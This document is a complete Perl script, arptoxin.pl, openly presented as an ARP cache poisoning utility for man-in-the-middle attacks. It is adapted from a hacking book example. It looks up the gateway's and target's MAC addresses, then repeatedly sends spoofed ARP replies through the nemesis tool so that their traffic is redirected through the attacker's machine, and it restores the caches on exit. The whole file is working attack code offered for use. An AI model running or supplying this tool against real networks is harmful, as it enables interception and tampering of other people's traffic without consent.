#!/usr/bin/perl

$device = shift; # First command line arg... interface to use...
$SIG{INT} = \&cleanup; # Trap for CTRL + C, and send to Cleanup
$flag = 1;
$gw = shift; # Second command line arg, gateway IP address...
$targ = shift; # Third command line arg, target IP address...
$interval = shift; # Fourth command line arg, setting the Interval...

print "    *     ****  ****   *****  *** *   * * *   * \n";
print "   * *    *   * *   *    *   *   * * *  * **  * \n";
print "  *****   ****  **** *** *   * * *  *   * * * * \n";
print " *     *  *   * *        *   *   * * *  * *  ** \n";
print "*       * *   * *        *    *** *   * * *   * \n";
print "arptoxin.pl - ARP Cache Poisoning Utility\n";
print "Uses Nemesis to poison ARP caches for MITM attacks\n";
print "Based on example code from Hacking: The Art of Exploitation\n";
print "Improved version allows user-setting of interface and interval...\n";
print "This variant by infodox - http://insecurety.net/ \n";

if (($gw . "." . $targ) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/)
{  # Preform input validation, if bad, exit.
  die("usage: arptoxin.pl <interface> <gateway> <target> <interval>\n");
}

# Quickly ping each target to put the MAC addresses in cache...
print "[+] Pinging $gw and $targ to retrieve MAC addresses...\n";
print "[+] Using $device as interface...\n";
system("ping -q -c 1 -w 1 $gw > /dev/null");
system("ping -q -c 1 -w 1 $targ > /dev/null");

# Pull those addresses from the ARP cache...
print "[+] Retrieving MAC addresses from ARP cache...\n";
$gw_mac = qx[/sbin/arp -na $gw];
$gw_mac = substr($gw_mac, index($gw_mac, ":")-2, 17);
$targ_mac = qx[/sbin/arp -na $targ];
$targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17);

# If they're not both there, exit...
if($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
  die("[-] MAC address of $gw not found.\n");
}

if($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
{
  die("[-] MAC address of $targ not found.\n");
}

# Get your IP and MAC
print "[+] Retrieving your IP and MAC infodox from ifconfig...\n";
@ifconf = split(" ", qx[/sbin/ifconfig $device]);
$me = substr(@ifconf[6], 5); # getting your IP
$me_mac = @ifconf[4]; # Getting your MAC

print "[*] Gateway: $gw is at $gw_mac \n"; # Just printing infodox for the (l)user...
print "[*] Target:  $targ is at $targ_mac \n";
print "[*] You:     $me is at $me_mac \n";
print "[*] Poisoning with interval $interval \n";
while($flag)
{ # Continue poisoning until CTRL + C
  print "[+] Redirecting:  $gw -> $me_mac <- $targ";
  system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H $me_mac -M $gw_mac");
  system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H $me_mac -M $gw_mac");
  sleep $interval;
} 

sub cleanup
{ # Put things back to normal...
  $flag = 0;
print "[-] Ctrl-C caught, exiting cleanly.\n[+] Putting ARP caches back to normal...";
  system("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac -H $gw_mac -M $targ_mac");
  system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac -H $targ_mac -M $gw_mac");
}
#EOF Motherfuckers!!

